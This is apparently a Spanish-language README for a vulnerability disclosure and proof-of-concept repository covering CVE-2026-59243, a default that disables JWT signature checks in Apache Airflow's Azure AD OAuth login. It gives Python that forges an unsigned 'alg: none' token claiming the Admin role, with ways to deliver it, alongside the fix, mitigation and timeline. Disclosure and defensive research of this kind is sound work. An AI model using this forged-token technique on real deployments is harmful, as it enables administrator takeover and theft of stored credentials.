
Prueba de concepto para CVE-2026-59243 que demuestra la evasión de firma JWT en la devolución de llamada OAuth de Azure AD del FAB Auth Manager de Apache Airflow debido a una configuración predeterminada insegura.
Coreano: README.ko.md
apache-airflow-providers-fab==3.7.3El FAB (Flask App Builder) Auth Manager de Apache Airflow decodifica los id_tokens OAuth de Azure AD en _decode_and_validate_azure_jwt(). Esa función tenía verify_signature con valor predeterminado False.
# providers/fab/.../override.py (líneas 2331–2341 en el momento del informe)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← el valor predeterminado es False
)
if verify_signature:
# validación JWK de authlib, devolver claims
...
# ruta predeterminada: omitir por completo la verificación de firma
return jwt.decode(id_token, options={"verify_signature": False})
A menos que un operador establezca explícitamente verify_signature: true en client_kwargs, la verificación de firma está desactivada para todo el flujo de inicio de sesión. Cualquier token que llegue, sus claims se aceptan como la identidad del llamante.
La integración de Authentik ubicada en el mismo archivo tiene como valor predeterminado True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← este tiene como valor predeterminado True
)
Mismo archivo, misma forma, valor predeterminado opuesto. Ese contraste fue lo que primero me hizo sospechar que el valor predeterminado de Azure no era una decisión de política.
Supongamos que Airflow está desplegado con FAB Auth Manager + OAuth de Azure AD, con client_kwargs sin modificar. (La instalación predeterminada.)
Forja un JWT con alg: none con los claims que quieras:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # punto final: firma vacía
Entrega ese token a la devolución de llamada OAuth (/login/azure/authorized o donde esté montada la integración). Cómo lo entregues realmente varía según el despliegue: MITM a través de un proxy de terminación TLS mal configurado, un redireccionador abierto con validación laxa de redirect_uri, o golpeando la devolución de llamada directamente con un state manipulado. Elige lo que el objetivo te ofrezca.
En el momento en que el token llega a la devolución de llamada, FAB llama a _decode_and_validate_azure_jwt, cae en la ruta predeterminada y entrega los claims forjados a la sesión. Dado que enviaste roles: ["Admin"], ahora estás conectado como Admin. En Airflow eso es efectivamente todo: Connections, Variables, la clave Fernet y ejecución arbitraria de código como worker al enviar un nuevo DAG.
Tres evaluaciones diferentes aterrizaron en tres lugares diferentes, lo cual es realmente informativo:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LmoderateLa diferencia entre la mía y la de NVD es una métrica: AC. La marqué como H porque estaba pensando en la ruta de entrega MITM de forma limitada. El analista de NVD optó por AC:L, tratando cualquier forma de hacer llegar un id_token a la devolución de llamada (incluido el abuso del flujo OAuth normal) como capacidad ordinaria del atacante. Reflexionando, AC:L es la lectura más defendible: no necesitas estrictamente estar en la ruta para abusar de una verificación de firma rota. Por eso NVD/Strix llegan a 9.8, y es la puntuación que aparecerá en la mayoría de las bases de datos CVE y escáneres.
El moderate de Apache es una decisión separada basada en su propio modelo de riesgo, ponderada más hacia "¿con qué frecuencia surge esta condición previa en despliegues reales?" que hacia el techo del impacto. No es inconsistente con 9.8, solo responde a una pregunta diferente.
Un carácter.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Alinea el valor predeterminado de Azure con Authentik. Si alguien realmente necesita la verificación de firma desactivada (por ejemplo, JWKS autofirmado en una réplica local de Azure AD), aún puede optar por verify_signature: false en client_kwargs. Mucha mejor forma que enviar inseguro por defecto.
Fusionado el 2026-07-07 como PR #69374 / commit 54259ae. Publicado en apache-airflow-providers-fab==3.7.3 el 2026-07-28.
Si no puedes actualizar de inmediato, establécelo explícitamente en webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Más allá de eso: mantén las devoluciones de llamada OAuth solo HTTPS con una lista blanca estricta de redirect_uri, y rota cualquier credencial almacenada en Airflow Connections si tienes motivos para pensar que fuiste afectado.
Docker + pwntools configurados en poc/:
poc/server.py aísla la ruta vulnerable (jwt.decode(..., options={"verify_signature": False})) en una pequeña aplicación Flask.poc/exploit_airflow_jwt.py forja el JWT, golpea la devolución de llamada y vuelca secretos de marcador de posición desde la vista de admin.poc/Dockerfile y poc/docker-compose.yml levantan el objetivo en 127.0.0.1:5002 (enlace de loopback).Comando único:
cd poc/
./run.sh
Si estás ejecutando esto en una máquina compartida, verifica el enlace de compose antes de comenzar.
Refactorizaciones no relacionadas cambiaron los números de línea entre el informe original y el main actual. La ruta del archivo no cambió.
Archivo: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (este archivo)
├── README.ko.md Versión en coreano
├── LICENSE MIT
├── check_advisory.sh vigilante de publicaciones (conservado para reutilización; actualmente inactivo)
├── patch/fix.diff corrección de un carácter (anclada a las líneas del momento del informe)
└── poc/ PoC con Docker + pwntools
[email protected]MIT (LICENSE). El PoC es solo para reproducción e investigación defensiva. No lo apuntes a sistemas que no poseas o para los que no tengas autorización escrita para probar.
| Símbolo | En el informe (2026-03-18) | En main corregido (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (predeterminado False, vulnerable) | 2428–2438 (predeterminado True, corregido) |
_get_authentik_token_info() | 414–416 (predeterminado True, seguro) | 419–420 (predeterminado True, seguro) |
| Fecha | Evento |
|---|
| 2026-03-18 | Reportado a [email protected] |
| 2026-03 a 2026-07 | Retraso por parte de Apache; un miembro del PMC de Airflow confirmó posteriormente que el informe inicial se pasó por alto |
| 2026-07-03 | Primera respuesta |
| 2026-07-04 | CVE-2026-59243 asignado, información de crédito enviada |
| 2026-07-07 | Corrección fusionada (commit 54259ae, PR #69374) |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3 publicado |
| 2026-07-29 | Registro CVE de MITRE PUBLISHED, aviso de Apache publicado en [email protected] |
| 2026-07-29 | Este repositorio se hizo público |